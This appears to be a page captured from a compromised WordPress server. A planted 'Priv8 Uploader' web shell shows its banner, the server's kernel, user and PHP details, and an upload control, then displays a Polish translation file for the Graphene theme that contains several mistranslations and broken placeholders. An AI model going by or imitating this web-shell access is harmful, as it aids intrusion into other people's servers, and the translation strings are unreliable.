GIF89a;
Notice: Undefined index: in /home/bs3263/domains/poolq.ee/public_html/wp-content/plugins/classic-editor/classic-editor.php on line 3

Priv8 Uploader By InMyMine7

Linux bs3.beeserver.ee 2.6.32-642.6.2.el6.x86_64 #1 SMP Wed Oct 26 06:52:09 UTC 2016 x86_64
HEX
HEX
Server: Apache/2
System: Linux bs3.beeserver.ee 2.6.32-642.6.2.el6.x86_64 #1 SMP Wed Oct 26 06:52:09 UTC 2016 x86_64
User: bs3263 (524)
PHP: 7.3.5
Disabled: NONE
Upload Files
File: /home/bs3263/domains/poolq.ee/old_old/wp-content/themes/graphene/languages/pl_PL.po
# Polish (pl_PL) translation for WordPress theme graphene.
# Copyright (C) 2010 WordPress contributors.
# This file is distributed under the same license as the graphene package.
# Dariusz Francuz <francuzpm@gmail.com>, 2010.
# Agard Khaardin <AgardKhaardin@gmail.com>, 2010.
#
msgid ""
msgstr ""
"Project-Id-Version: Graphene 1.1.1.1 theme for WordPress\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2012-01-14 16:02+1200\n"
"PO-Revision-Date: 2012-01-14 11:48+0100\n"
"Last-Translator: Dariusz Francuz <francuzpm@gmail.com>\n"
"Language-Team: Dariusz Francuz <francuzpm@gmail.com>, Agard Khaardin <AgardKhaardin@gmail.com> <francuzpm@gmail.com>\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Language: pl_PL\n"
"Plural-Forms: nplurals=3; plural=n==1 ? 0 : n%10>=2 && n%10<=4 && (n%100<10 || n%100>=20) ? 1 : 2;\n"
"X-Poedit-SourceCharset: utf-8\n"
"X-Poedit-Language: Polish\n"
"X-Poedit-Country: POLAND\n"
"X-Poedit-Basepath: .\n"
"X-Poedit-SearchPath-0: .\n"

#: 404.php:25
#, php-format
msgid "Searching for: <span>%s</span>"
msgstr "Szukaj wyników dla: <span>%s</span>"

#: 404.php:31
msgid "Error 404 - Page Not Found"
msgstr "Błąd 404 - Strona nie znaleziona"

#: 404.php:33
msgid "Sorry, I've looked everywhere but I can't find the page you're looking for."
msgstr "Przepraszam, szukałem wszędzie, ale nie mogę znaleźć strony, której szukasz."

#: 404.php:34
msgid "If you follow the link from another website, I may have removed or renamed the page some time ago. You may want to try searching for the page:"
msgstr "Jeśli kliknąłeś na link na innej stronie, możliwe, że usunąłem lub zmieniłem nazwę strony. Czy chcesz znależć tą stronę:"

#: 404.php:42
msgid "Automated search"
msgstr "Automatyczne wyszukiwanie"

#: 404.php:45
#, php-format
msgid "Searching for the terms <strong>%s</strong> ..."
msgstr "Wyszukiwanie zapytań dla <strong>%s</strong> ..."

#: archive.php:24
#, php-format
msgid "Daily Archive: %s"
msgstr "Archiwum dzienne: %s"

#: archive.php:26
#, php-format
msgid "Monthly Archive: %s"
msgstr "Archiwum miesięczne: %s"

#. translators: F will be replaced with month, and Y will be replaced with year, so "F Y" in English would be replaced with something like "June 2008".
#: archive.php:28
msgid "F Y"
msgstr "F Y"

#: archive.php:30
#, php-format
msgid "Yearly Archive: %s"
msgstr "Archiwum roczne: %s"

#: archive.php:40
#, php-format
msgid "%1$s Archive: <span>%2$s</span>"
msgstr "%1$s Archiwum:<span>%2$s</span>"

#: archive.php:43
msgid "Blog Archive"
msgstr "Archiwum Bloga"

#: author.php:32
msgid "Author's posts listings"
msgstr "Lista wpisów tego autora"

#: category.php:13
#, php-format
msgid "Category Archive: <span>%s</span>"
msgstr "Archiwum kategorii: <span>%s</span>"

#: comments.php:25
msgid "This post is password protected. Enter the password to view any comments."
msgstr "Ten wpis jest chroniony hasłem. Podaj hasło aby zobaczyć komentarze."

#: comments.php:49
#: loop-author.php:85
#: loop.php:166
#, php-format
msgid "1 comment"
msgid_plural "%d comments"
msgstr[0] "1 komentarz"
msgstr[1] "1 komentarz"
msgstr[2] "1 komentarz"

#: comments.php:51
#, php-format
msgid "1 ping"
msgid_plural "%d pings"
msgstr[0] "1 ping"
msgstr[1] "1 ping"
msgstr[2] "1 ping"

#: comments.php:109
msgid "Comments have been disabled."
msgstr "Komentarze zostały wyłączone."

#: comments.php:126
#, php-format
msgid "You may use these <abbr title=\"HyperText Markup Language\">HTML</abbr> tags and attributes: %s"
msgstr "Możesz użyć tych znaczników i atrybutów <abbr title=\"HyperText Markup Language\">HTML</abbr>a: %s"

#: comments.php:131
msgid "Your email address will not be published."
msgstr "Twój adres email nie będzie publikowany."

#: comments.php:134
msgid "Submit Comment"
msgstr "Wyślij komentarz"

#: footer.php:41
msgid "Copyright"
msgstr "Copyright"

#. translators: %s will replaced by a link to the Creative Commons licence page, with "Creative Commons Licence" as the link text.
#: footer.php:56
#, php-format
msgid "Except where otherwise noted, content on this site is licensed under a %s."
msgstr "Z wyjątkiem, gdzie zostało to zaznaczone, zawartość tej strony podlega licencji %s."

#: footer.php:56
msgid "Creative Commons Licence"
msgstr "Creative Commons Licence "

#: footer.php:58
msgid "Creative Commons Licence BY-NC-ND"
msgstr "Creative Commons Licence BY-NC-ND"

#: footer.php:79
msgid "Return to top"
msgstr "Powrót na górę"

#. translators: %1$s is the link to WordPress.org, %2$s is the theme's name
#: footer.php:89
#, php-format
msgid "Powered by %1$s and the %2$s."
msgstr "Stworzony przez %s i %2$s."

#: footer.php:89
msgid "Graphene Theme"
msgstr "Motyw Graphene"

#: header.php:49
#, php-format
msgid "Subscribe to %s's RSS feed"
msgstr "Subskrybuj  RSS %s"

#: header.php:49
msgid "Subscribe to RSS feed"
msgstr "Subskrybuj RSS"

#: header.php:95
#: header.php:115
msgid "Go back to the front page"
msgstr "Wróć na stronę główną"

#: loop-author.php:23
msgid "Author's details"
msgstr "O Autorze"

#. translators: %1$s is the first name, %2$s is the last name
#: loop-author.php:25
#, php-format
msgid "<strong>Name:</strong> %1$s %2$s"
msgstr "<strong>Imię:</strong> %1$s %2$s"

#: loop-author.php:26
#, php-format
msgid "<strong>Date registered:</strong> %1$s"
msgstr "<strong>Data rejestracji:</strong> %1$s"

#: loop-author.php:35
msgid "Biography"
msgstr "Biografia"

#: loop-author.php:52
msgid "Latest posts"
msgstr "Najnowsze posty"

#: loop-author.php:55
#: loop-author.php:85
#, php-format
msgid "Permalink Link to %s"
msgstr "Permalink do %s"

#: loop-author.php:55
#: loop-author.php:85
#: loop-children.php:45
#: loop-page.php:8
#: loop-page.php:35
#: loop-post-formats.php:36
#: loop-single.php:67
#: loop.php:31
#: loop.php:66
msgid "(No title)"
msgstr "(Brak tytułu)"

#: loop-author.php:92
msgid "Most commented posts"
msgstr "Najczęściej komentowane posty"

#: loop-children.php:45
#: loop-children.php:53
#: loop-post-formats.php:36
#: loop.php:65
#: loop.php:134
#, php-format
msgid "Permalink to %s"
msgstr "Permalink do %s"

#: loop-children.php:53
msgid "View page &raquo;"
msgstr "Pokaż strony &raquo;"

#: loop-not-found.php:3
msgid "Not found"
msgstr "Nie znaleziono"

#: loop-not-found.php:8
msgid "Sorry, but you are looking for something that isn't here. Wanna try a search?"
msgstr "Przepraszam, nie ma tu tego, czego szukasz. Chcesz spróbować jeszcze raz?  "

#: loop-not-found.php:10
msgid "Sorry, but no results were found for that keyword. Wanna try an alternative keyword search?"
msgstr "Przepraszam, brak wyników dla tego słowa. Chcesz spróbować inne? "

#: loop-page.php:23
#: loop-page.php:24
#, php-format
msgid "Print this %s"
msgstr "Wydrukuj to %s"

#: loop-page.php:45
#: loop-single.php:83
#: loop.php:85
#, php-format
msgid "Edit %s"
msgstr "Edytuj %s"

#: loop-page.php:66
#: loop-single.php:122
#: loop.php:148
msgid "Pages:"
msgstr "Strony:"

#: loop-page.php:90
#: loop-post-formats.php:90
#: loop-single.php:172
#: loop.php:179
msgid "Permanent link to this article:"
msgstr "Permalink do tego artykułu:"

#: loop-post-formats.php:15
msgid "Status update"
msgstr "Aktualiazacja statusu"

#: loop-post-formats.php:16
msgid "Audio"
msgstr "Dźwięk"

#: loop-post-formats.php:17
msgid "Image"
msgstr "Obraz"

#: loop-post-formats.php:18
msgid "Video"
msgstr "Wideo"

#: loop-post-formats.php:19
msgid "Post format"
msgstr "Format postu"

#. translators: This is the PHP date formatting string for the status post format. See http://php.net/manual/en/function.date.php for more details.
#: loop-post-formats.php:32
msgid "l F j, Y"
msgstr "l F j, Y"

#: loop-post-formats.php:32
msgid "g:i A"
msgstr "g:i A"

#: loop-post-formats.php:42
msgid "Edit post"
msgstr "Edytuj post"

#. translators: This is the PHP date formatting string for the image post format. See http://php.net/manual/en/function.date.php for more details.
#: loop-post-formats.php:78
#, php-format
msgid "Posted on: %s"
msgstr "Stworzony przez: %s"

#: loop-post-formats.php:78
msgid "F j, Y"
msgstr "F j, Y"

#: loop-single.php:76
#: loop.php:78
msgid "Categories:"
msgstr "Kategorie:"

#: loop-single.php:98
#: loop.php:102
#, php-format
msgid "by %s"
msgstr "przez %s"

#: loop-single.php:132
#: loop.php:158
msgid "Tags:"
msgstr "Tagi:"

#: loop-single.php:132
#: loop.php:158
msgid "This post has no tag"
msgstr "Ten wpis nie zawiera tagów"

#: loop-single.php:153
msgid "About the author"
msgstr "O autorze"

#: loop.php:127
msgid "Read the rest of this entry &raquo;"
msgstr "Czytaj wpis"

#: loop.php:166
msgid "Leave comment"
msgstr "Pozostaw komentarz"

#: loop.php:166
msgid "Comments off"
msgstr "Komentarze wyłączone"

#: search-404.php:14
msgid "Suggested results"
msgstr "Proponowane wyniki"

#. translators: %s is the search term
#: search-404.php:18
#, php-format
msgid "I've done a courtesy search for the term %s for you. See if you can find what you're looking for in the list below:"
msgstr "Dokonałem wyszukiwania zagadnienia %s. Sprawdź, czy to, czego szukasz znajduje się na liście poniżej:"

#: search-404.php:35
msgid "<strong>Sorry, couldn't find anything.</strong> Try searching for alternative terms using the search form above."
msgstr "<strong>Przepraszam, nie mogłem znależć niczego.</strong> Spróbuj wyszukać alternatywnych zagadnień używająć wyszukiwarki powyżej. "

#: search.php:10
#, php-format
msgid "Search results for: %s"
msgstr "Szukaj wyników dla: %s"

#: searchform.php:3
#: searchform.php:4
msgid "Search"
msgstr "Szukaj"

#: sidebar-two.php:35
#: sidebar.php:41
msgid "Meta"
msgstr "Meta"

#: sidebar-two.php:40
#: sidebar.php:46
msgid "Posts RSS"
msgstr "Posty RSS"

#: sidebar-two.php:41
#: sidebar.php:47
msgid "Comments RSS"
msgstr "Komentarze RSS"

#. translators: %s is the link to wordpress.org
#: sidebar-two.php:43
#: sidebar.php:49
#, php-format
msgid "Powered by %s"
msgstr "Stworzony przez %s"

#: sidebar-two.php:43
#: sidebar.php:49
msgid "Powered by WordPress, state-of-the-art semantic personal publishing platform."
msgstr "Stworzone przez WordPress."

#: sidebar-two.php:48
#: sidebar.php:34
msgid "Archives"
msgstr "Archiwa"

#: tag.php:13
#, php-format
msgid "Tag Archive: <span>%s</span>"
msgstr "Archowum tagów: <span>%s</span>"

#: admin/custom-fields.php:14
msgid "Graphene post-specific options"
msgstr "Opcje motywu Graphene specyficzne dla wpisów"

#: admin/custom-fields.php:15
msgid "Graphene page-specific options"
msgstr "Opcje motywu Graphene specyficzne dla stron"

#: admin/custom-fields.php:97
msgid "These settings will only be applied to this particular post or page you're editing. They will override the global settings set in the Graphene Options or Graphene Display options page."
msgstr "Ustawienia te bedą miały zastosowanie tylko do wpisu lub strony, którą właśnie edytujesz. Tym samym zastąpią globalne ustawienia ustalone na stronach Opcje Motywu Graphene lub Opcje Wyświetlania Motywu Graphene."

#: admin/custom-fields.php:98
msgid "Slider options"
msgstr "Opcje Slider"

#: admin/custom-fields.php:102
msgid "Slider image"
msgstr "Obrazek w Slider"

#: admin/custom-fields.php:106
#: admin/custom-fields.php:132
#: admin/custom-fields.php:146
msgid "Use global setting"
msgstr "Użyj ustawień globalnych"

#: admin/custom-fields.php:107
msgid "Don't show image"
msgstr "Nie pokazuj obrazka"

#: admin/custom-fields.php:108
msgid "Featured Image"
msgstr "Obrazek reprezantacyjny"

#: admin/custom-fields.php:109
msgid "First image in post"
msgstr "Pierwszy obraz we wpisie"

#: admin/custom-fields.php:110
msgid "Custom URL"
msgstr "Własny URL"

#: admin/custom-fields.php:116
msgid "Custom slider image URL"
msgstr "URL własnego obrazka w Slider"

#: admin/custom-fields.php:120
msgid "Make sure you select Custom URL in the slider image option above to use this custom url."
msgstr "Upewnij się, że wybrano Własny URL w opcji Obrazek w Slider powyżej "

#: admin/custom-fields.php:124
msgid "Display options"
msgstr "Opcje wyświetlnia"

#: admin/custom-fields.php:128
msgid "AddThis Social Sharing button"
msgstr "Przycisk AddThis Social Sharing"

#: admin/custom-fields.php:133
msgid "Show button"
msgstr "Pokaż przyciski"

#: admin/custom-fields.php:134
msgid "Hide button"
msgstr "Ukryj przyciski"

#: admin/custom-fields.php:142
msgid "Post date display"
msgstr "Wyświetlanie daty wpisów"

#: admin/custom-fields.php:147
msgid "Hide date"
msgstr "Ukryj datę opublikowania wpisów"

#: admin/custom-fields.php:155
msgid "Navigation options"
msgstr "Opcje nawigacji"

#: admin/custom-fields.php:159
msgid "Description"
msgstr "Opis"

#: admin/custom-fields.php:163
msgid "Only required if you need a description in the navigation menu and you are not using a custom menu."
msgstr "Wymagane tylko jeśli potrzebujesz opisu w menu nawigacyjnym i nie używasza własnego menu."

#: admin/faq.php:11
msgid "Graphene's Frequently Asked Questions"
msgstr "Graphene FAQ"

#: admin/faq.php:14
msgid "Where should I go for the theme's support?"
msgstr "Gdzie powinieniem się zwrócić, aby uzyskać pomoc dotyczącą wyglądu?"

#: admin/faq.php:15
msgid "Please direct all support requests for the theme at the theme's <a href=\"http://forum.khairul-syahir.com/graphene-wordpress-theme/\">Support Forum</a>."
msgstr "Proszę kierować wszystkie problemy techniczne dotyczące skórki na <a href=\"http://forum.khairul-syahir.com/forum/graphene-wordpress-theme\"> Forum Pomocy Technicznej</a>."

#: admin/faq.php:18
msgid "The post's featured image is replacing my header image. Help!"
msgstr "Obrazek posta zastępuje mój obrazek nagłówka strony. Pomocy!"

#: admin/faq.php:19
msgid "This is actually one of the theme's features, based on the feature in the default TwentyTen theme. Any featured image that has a size of greater than or equal to the theme's header image size (960 x 198 pixels) will replace the header image when the post/page that featured image is assigned to is being displayed. It enables you to have different header image for different posts and/or pages."
msgstr "Jest to jedna z funkcji skórki, bazująca na funkcji zawartej domyślnie w skórce TwentyTen. Dowolne zdjęcie o rozmiarze większym lub równym do obrazka nagłówka skórki (960x198 pikseli) zastąpi obraz nagłówka, gdy post/strona będzie miała wybrane zdjęcie do wyświetlenia w nagłówku strony. Umożliwi to ustawienia różnych obrazów nagłówka dla różnych postów/stron."

#: admin/faq.php:20
msgid "If you want to disable this feature, simply tick the <em>Disable Featured Image replacing header image</em> option in the <a href=\"themes.php?page=graphene_options&tab=display\">Graphene Options</a> page, under Display &gt; Header Display Options."
msgstr "Jeśli chcesz wyłączyć tą funkcję, wystarczy zaznaczyć <em>Wyłącz zastępowanie obrazka w nagłówku poprzez obraz artykułu</em> w <a href=\"themes.php?page=graphene_options_display\">Opcje Wyświetlania Motywu Graphene</a>, pod Opcje wyświetlania nagłówka."

#: admin/faq.php:23
msgid "Can I modify Graphene to my heart's content without paying anything?"
msgstr "Czy mogę zmodyfikować Graphene według własnego uznania bez płacenia autorowi?"

#: admin/faq.php:24
msgid "The Graphene WordPress theme, along with all the other themes in the WordPress.org Official Free Themes Directory, is released under the GNU General Public License (GPL) Version 2. The full text of that licence is included with the theme in the <code>licence.txt</code> file in the theme's folder. Releasing the theme under that licence means, among others, that you are <em>free to modify the theme in any way for any purpose (including commercial)</em> without any obligation to the theme's author. However, if you decide to redistribute the theme, the licence dictates that you must release the theme under the same licence, GPLv2."
msgstr "Skórka Graphene dla Wordpress,  podobnie jak inne skórki zamieszczone w Oficjalnym Katalogu Darmowych Skórek Wordpress.org, została wydana pod licencją  GNU General Public License (GPL) Version 2. Pełny tekst tej licencji zawarty jest razem ze skórką w pliku <code>licence.txt</code> i folderze skórki. Wydanie tej skórki pod ta licencją oznacza m.in. że możesz modyfikować skórkę w dowolny sposób, w dowolnym celu (również komercyjnym) bez żadnych zobowiązań wobec autora. Jakkolwiek, jeśli zdecydujesz się redystrybuować skórkę, licencja zobowiązuje cię do opublikowania jej pod tą samą licencją GPLv2."

#: admin/faq.php:25
msgid "But of course, the author would always appreciate <a href=\"themes.php?page=graphene_options\">donations</a> to support ongoing and future developments of the theme."
msgstr "Oczywiście autor zawsze doceni <a href=\"themes.php?page=graphene_options\">dotacje</a> aby wesprzeć bieżące i przyszłe zmiany tej skórki."

#: admin/faq.php:28
msgid "If the theme is released under GPLv2, what is this Creative Commons licence in the theme's footer?"
msgstr "Jeśli skórka została opublikowana pod licencją GPLv2, co oznacza Creative Commons licence w stopce skórki?"

#: admin/faq.php:29
msgid "The Creative Commons licence is a popular licence nowadays that are used by a lot of web-based content authors to licence their work such that it protects their intellectual property but in the same time allows its free distribution. It is included with the theme simply to make it easy for the theme's users to make use of the licence for the content they publish. Theme users can remove it altogether via the theme's Options page should they wish not to use it."
msgstr "Creative Commons licence jest obecnie bardzo popularną licencją, używaną przez wielu internetowych twórców, aby chronić ich własność intelektualną i jednocześnie umożliwia darmową dystrybucję treści. Jest ona dołączona z ta skórką, aby ułatwić autorom użycie licencji dla treści, które publikują. Uzytkownicy moga zdecydować czy chcą jej używać na stronie Opcji skórki."

#: admin/faq.php:30
msgid "Put simply, <em>it is not the licence that is applied for the theme itself</em>, but just for the website's content should the theme user wants to use it."
msgstr "Mówiąc prościej, <em> nie jest to licencja zastosowana do skórki </ em>, ale  do treści zawartych na stronie."

#: admin/faq.php:33
msgid "Is the theme compatible with this plugin or that plugin?"
msgstr "Czy ta skórka jest kompatybilna z  pluginem X?"

#: admin/faq.php:34
msgid "I don't know. With so many plugins available for WordPress, there's no way that I (or anybody else for that matter) can test for compatibility for all of them. Having said that, the theme is built with all the necessary WordPress components included with it, so chances are most plugins will be compatible with the theme."
msgstr "Nie wiem. Ponieważ jest tak wiele pluginów do Wordpress'a, nie ma takiej możliwości, abym ja (albo ktokolwiek inny) mógł przetestować je wszystkiem pod kątem kompatybilności. Skórka została stworzona uwzględniając wszystkie konieczne elementy systemu Wordpress, więc są duże szanse, że większość pluginów będzie kompatybilne ze skórką."

#: admin/faq.php:35
msgid "My suggestion is to just install the plugin and try it. If you stumble into problem, ask for support from the plugin author first. If the plugin author says that it's a problems with the theme, you know where to find support."
msgstr "Moją sugestią jest, aby po prostu zainstalować plugin i go wypróbować. Jeśli natkniesz się na problem, poproś o pomoc najpierw autora pluginu. Jeśli autor pluginu powie, że jest to problem ze skórką, wiesz, gdzie szukać pomocy."

#: admin/feature-pointers.php:8
msgid "Where are all the options?!"
msgstr "Gdzie są wszystkie ustawienia?"

#: admin/feature-pointers.php:9
msgid "We've decided to clean things up!"
msgstr "Zdecydowaliśmy, aby trochę posprzątać!"

#: admin/feature-pointers.php:10
msgid "We know how too many options can really be daunting to new users, so we've hidden them."
msgstr "Wiemy, jakim utrudnieniem dla nowych użytkowników może być nadmierna ilość opcji, więc je ukryliśmy."

#: admin/feature-pointers.php:11
msgid "But no worries! If you're a seasoned user of the Graphene theme, or whenever you feel ready to further customise your site, just click on the \"Show all options\" link, and they will magically appear to you."
msgstr "Bez obaw! Jeżeli jesteś doświadczonym użytkownikiem Graphene lub czujesz, że jesteś gotowy do bardziej zaawansowanej konfiguracji Twojej strony, po prostu kliknij na link  \"Pokaż wszystkie opcje\", a one w magiczny sposób się pojawią."

#: admin/options-advanced.php:12
#: admin/options.php:358
msgid "Preview"
msgstr "Podgląd"

#: admin/options-advanced.php:19
msgid "Enable preview of your site on the Graphene Theme Options page"
msgstr "Włącz podgląd Twojej strony na stronie Opcji Graphene"

#: admin/options-advanced.php:31
msgid "Action Hooks Widget Areas"
msgstr "Obszary odnośników widget"

#: admin/options-advanced.php:34
msgid "This option enables you to place virtually any content to every nook and cranny in the theme, by attaching widget areas to the theme's action hooks."
msgstr "Opcja ta pozwala na umieszczenie dowolnej treści w każdym zakamarku w temacie, dołączając widget  do motywu."

#: admin/options-advanced.php:35
msgid "All action hooks available in the Graphene Theme are listed below. Click on the filename to display all the action hooks available in that file. Then, tick the checkbox next to an action hook to make a widget area available for that action hook."
msgstr "Wszystkie odnośniki dostępne w motywie Graphene są umieszczone poniżej. Kliknij na nazwi pliku, aby wyświetlić wszystkie odnośniki dostepne w tym pliku. Później, zaznacz okienko obok odnośnika, aby stworzyć widget dla niego."

#: admin/options-advanced.php:44
msgid "Click to show/hide the action hooks for this file"
msgstr "Kliknij, aby pokazać/ukryć odnośniki dla tego dokumentu"

#: admin/options-advanced.php:56
msgid "Rescan action hooks"
msgstr "Skanuj ponownie action hooks"

#: admin/options-display.php:13
msgid "Header Display Options"
msgstr "Opcje wyświetlnia nagłówka"

#: admin/options-display.php:19
msgid "Use light-coloured header bars"
msgstr "Użyj kolorowych pasków nagłówka "

#: admin/options-display.php:25
msgid "Link header image to front page"
msgstr "Odsyłacz do obrazka w nagłówku strony głównej"

#: admin/options-display.php:28
msgid "Check this if you disable the header texts and want the header image to be linked to the front page."
msgstr "Zaznacz tutaj jeśli chcesz wyłączyc tekst w nagłówku i zamiast tego wolisz użyć na stronie odsyłacza do obrazka."

#: admin/options-display.php:33
msgid "Disable Featured Image replacing header image"
msgstr "Wyłącz zastępowanie obrazka w nagłówku poprzez obraz artykułu"

#: admin/options-display.php:36
msgid "Check this to prevent the posts Featured Image replacing the header image regardless of the featured image dimension."
msgstr "Zaznacz tutaj jeśli chcesz zapobiec, aby Obraz Reprezentacyjny wpisu zastępował obraz w nagłówku bez wzgledu na wymiary obrazu reprezentacyjnego."

#: admin/options-display.php:41
msgid "Use random header image"
msgstr "Użyj losowy obrazek nagłówka"

#: admin/options-display.php:45
msgid "Check this to show a random header image (random image taken from the available default header images)."
msgstr "Zaznacz, aby pokazywać losowy obrazek nagłówka (obrazek zostanie wybrany spośród dostępnych, domyślnych obrazków nagłówka)."

#: admin/options-display.php:46
msgid "<strong>Note:</strong> only works on pages where a specific header image is not defined."
msgstr "<strong>Info:</strong>działa tylko na stronach, gdzie konkretny obraz nagłówka nie jest zdefiniowany."

#: admin/options-display.php:52
msgid "Search box location"
msgstr "Położenie okienka szukaj"

#: admin/options-display.php:56
msgid "Top bar"
msgstr "Pasek górny"

#: admin/options-display.php:57
msgid "Navigation bar"
msgstr "Pasek nawigacji"

#: admin/options-display.php:58
msgid "Disable search box"
msgstr "Wyłącz pole wyszukiwania"

#: admin/options-display.php:71
msgid "Column Options"
msgstr "Opcje kolumn"

#: admin/options-display.php:77
msgid "Column mode"
msgstr "Tryb kolumnowy"

#: admin/options-display.php:86
#: admin/options-display.php:131
msgid "One column"
msgstr "Jedna kolumna"

#: admin/options-display.php:93
#: admin/options-display.php:138
msgid "Two columns (with sidebar right)"
msgstr "Dwie kolumny (z paskiem bocznym po prawej)"

#: admin/options-display.php:97
#: admin/options-display.php:142
msgid "Two columns (with sidebar left)"
msgstr "Dwie kolumny (z paskiem bocznym po lewej)"

#: admin/options-display.php:104
#: admin/options-display.php:149
msgid "Three columns (with two sidebars right)"
msgstr "Trzy kolumny (z dwoma paskami po prawej)"

#: admin/options-display.php:108
#: admin/options-display.php:153
msgid "Three columns (with two sidebars left)"
msgstr "Trzy kolumny (z dwoma paskami po lewej)"

#: admin/options-display.php:112
#: admin/options-display.php:157
msgid "Three columns (with sidebars left and right)"
msgstr "Trzy kolumny (z paskami po prawej i lewej)"

#: admin/options-display.php:122
msgid "bbPress column mode"
msgstr "Tryb kolumnowy bbPress"

#: admin/options-display.php:173
msgid "Column Width Options"
msgstr "Opcje szerokości kolumn"

#: admin/options-display.php:176
msgid "Note: Leave values empty to reset to the default values."
msgstr "Zostaw pole puste, aby użyć wartości domyślnych."

#: admin/options-display.php:180
msgid "Container width"
msgstr "Szerokość strony"

#: admin/options-display.php:197
#: admin/options-display.php:220
msgid "Column width"
msgstr "Szerokosć kolumny"

#: admin/options-display.php:197
msgid "two-column mode"
msgstr "Tryb dwu-kolumnowy"

#: admin/options-display.php:201
#: admin/options-display.php:228
msgid "Content"
msgstr "Zawartość"

#: admin/options-display.php:205
msgid "Sidebar"
msgstr "Pasek boczny"

#: admin/options-display.php:220
msgid "three-column mode"
msgstr "Tryb trój-kolumnowy"

#: admin/options-display.php:224
msgid "Left sidebar"
msgstr "Lewy pasek boczny"

#: admin/options-display.php:232
msgid "Right sidebar"
msgstr "Prawy pasek boczny"

#: admin/options-display.php:253
msgid "Posts Display Options"
msgstr "Opcje wyświetlnia wpisów"

#: admin/options-display.php:259
msgid "Hide post author"
msgstr "Ukryj autora wpisów"

#: admin/options-display.php:269
msgid "Hidden"
msgstr "Ukryte"

#: admin/options-display.php:270
msgid "As an icon (without the year)"
msgstr "Jako ikona (bez roku)"

#: admin/options-display.php:271
msgid "As an icon (including the year)"
msgstr "Jako ikona (z rokiem)"

#: admin/options-display.php:272
msgid "As inline text"
msgstr "Jako wbudowany tekst"

#: admin/options-display.php:274
msgid "Note: displaying date as inline text allows more space for the content area, especially useful for a three-column layout configuration."
msgstr "Uwaga: wyświetlanie daty jako wbudowany tekst  pozwoli zdobyć więcej przestrzeni na treść. Szczególnie przydatne przy trój-kolumnowej konfiguracji layout'u"

#: admin/options-display.php:279
msgid "Hide post categories"
msgstr "Ukryj kategorię wpisów"

#: admin/options-display.php:285
msgid "Hide post tags"
msgstr "Ukryj etykiety wpisów"

#: admin/options-display.php:291
msgid "Hide post comment count"
msgstr "Ukryj licznik komentarzy do wpisów"

#: admin/options-display.php:292
msgid "Only affects posts listing (such as the front page) and not single post view."
msgstr "Odnosi się tylko do wyświetlania list wpisów (tak jak na stronie głównej), a nie do wyświetlania pojedynczych wpisów."

#: admin/options-display.php:297
msgid "Show post author's <a href=\"http://en.gravatar.com/\">gravatar</a>"
msgstr "Pokazuj <a href=\"http://en.gravatar.com/\">gravatar</a> autora."

#: admin/options-display.php:301
msgid "Show post author's info"
msgstr "Pokaż informacje o autorze wpisu"

#: admin/options-display.php:313
msgid "Excerpts Display Options"
msgstr "Opcje wyświetlnia wpisów"

#: admin/options-display.php:319
msgid "Show excerpts in front page"
msgstr "Pokazuj fragmenty na stronie głównej"

#: admin/options-display.php:325
msgid "Show full content in archive pages"
msgstr "Pokaż pełną zawartość na stronach archiwalnych"

#: admin/options-display.php:329
msgid "Note: Archive pages include the archive for category, tags, time, and search results pages. Enabling this option will cause the full content of posts and pages listed in those archives to displayed instead of the excerpt, and truncated by the Read More tag if used."
msgstr "Uwaga: Archiwalne strony zawierają archiwa kategorii, tagów, czasu i rezultatów wyszukiwania. Włączenie tej opcji spowoduje, że pełna zawartość postów i stron umieszczonych w tycha archiwach będzie wyświetlana przez fragment i okrojony przez tag Czytaj więcej."

#: admin/options-display.php:333
msgid "Show More link for manual excerpts"
msgstr "Pokaż więcej linków do fragmentów instrukcji"

#: admin/options-display.php:337
msgid "Retain these HTML tags in excerpts"
msgstr "Zachowaj te tagi HTML we fragmentach"

#: admin/options-display.php:340
msgid "Enter the HTML tags you'd like to retain in excerpts. For example, enter <code>&lt;p&gt;&lt;ul&gt;&lt;li&gt;</code> to retain <code>&lt;p&gt;</code>, <code>&lt;ul&gt;</code>, and <code>&lt;li&gt;</code> HTML tags."
msgstr "Wpisz tagi HTML, które chcesz zachować we fragmentach.Na przykład, wpisz <code>&lt;p&gt;&lt;ul&gt;&lt;li&gt;</code>aby zachować<code>&lt;p&gt;</code>, <code>&lt;ul&gt;</code> i  <code>&lt;li&gt;</code>."

#: admin/options-display.php:353
msgid "Comments Display Options"
msgstr "Opcje wyświetlnia komentarzy"

#: admin/options-display.php:359
msgid "Hide allowed tags in comment form"
msgstr "Ukryj listę dozwolonych znaczników w formularzu dodawania komentarza"

#: admin/options-display.php:372
msgid "Colours Options"
msgstr "Opcje kolorystyki"

#: admin/options-display.php:375
msgid "Changing colours for your website involves a lot more than just trial and error. Simply mixing and matching colours without regard to their compatibility may do more damage than good to your site's aesthetics."
msgstr "Zmiana kolorów na Twojej stronie internetowej wymaga dużo więcej niż tylko metody prób i błędów. Mieszanie i dopasowywanie kolorów bez względu na ich kompozycje, może zrobić więcej szkód niż pożytku dla estetyki strony."

#: admin/options-display.php:376
#, php-format
msgid "It's generally a good idea to stick to colours from colour pallettes that are aesthetically pleasing. Try the %s website for a kickstart on some colour palettes you can use."
msgstr "Jest to generalnie dobry pomysł, aby trzymać się kolorów z palet, które pasują do siebie pod względem estetycznym. Spróbuj zajrzeć na stronę % s, aby sprawdzić, które palety kolorów możesz użyć."

#: admin/options-display.php:377
msgid "When you've got the perfect combination, you can even share it with fellow Graphene theme users through the <a href=\"http://forum.khairul-syahir.com/\">Support Forum</a>."
msgstr "Proszę kierować wszystkie problemy techniczne dotyczące skórki na <a href=\"http://forum.khairul-syahir.com/forum/graphene-wordpress-theme\"> Forum Pomocy Technicznej</a>."

#: admin/options-display.php:378
msgid "<strong>Note:</strong> The previews work best on modern Gecko- and Webkit-based browsers, such as Mozilla Firefox and Google Chrome."
msgstr "<strong>Uwaga:</strong>Podgląd działa najlepiej na przeglądarkach bazujących na nowoczesnym Gecko- i Webkit, takich jak Mozilla Firefox i Google Chrome. "

#: admin/options-display.php:379
msgid "<strong>Note:</strong> To reset any of the colours to their default value, just click on \"Clear\" beside the colour field and save the settings. The theme will automatically revert the value to the default colour."
msgstr "<strong>Uwaga:</strong> Aby zresetować dowolny kolor do jego wartości domyślnych, kliknij na  \"Wyczyść\" obok pola kolory i zapisz ustawienai. Motyw automatycznie przywróci wartości do domyślnych."

#: admin/options-display.php:380
msgid "Content area"
msgstr "Pole treści"

#: admin/options-display.php:384
msgid "Main content wrapper background"
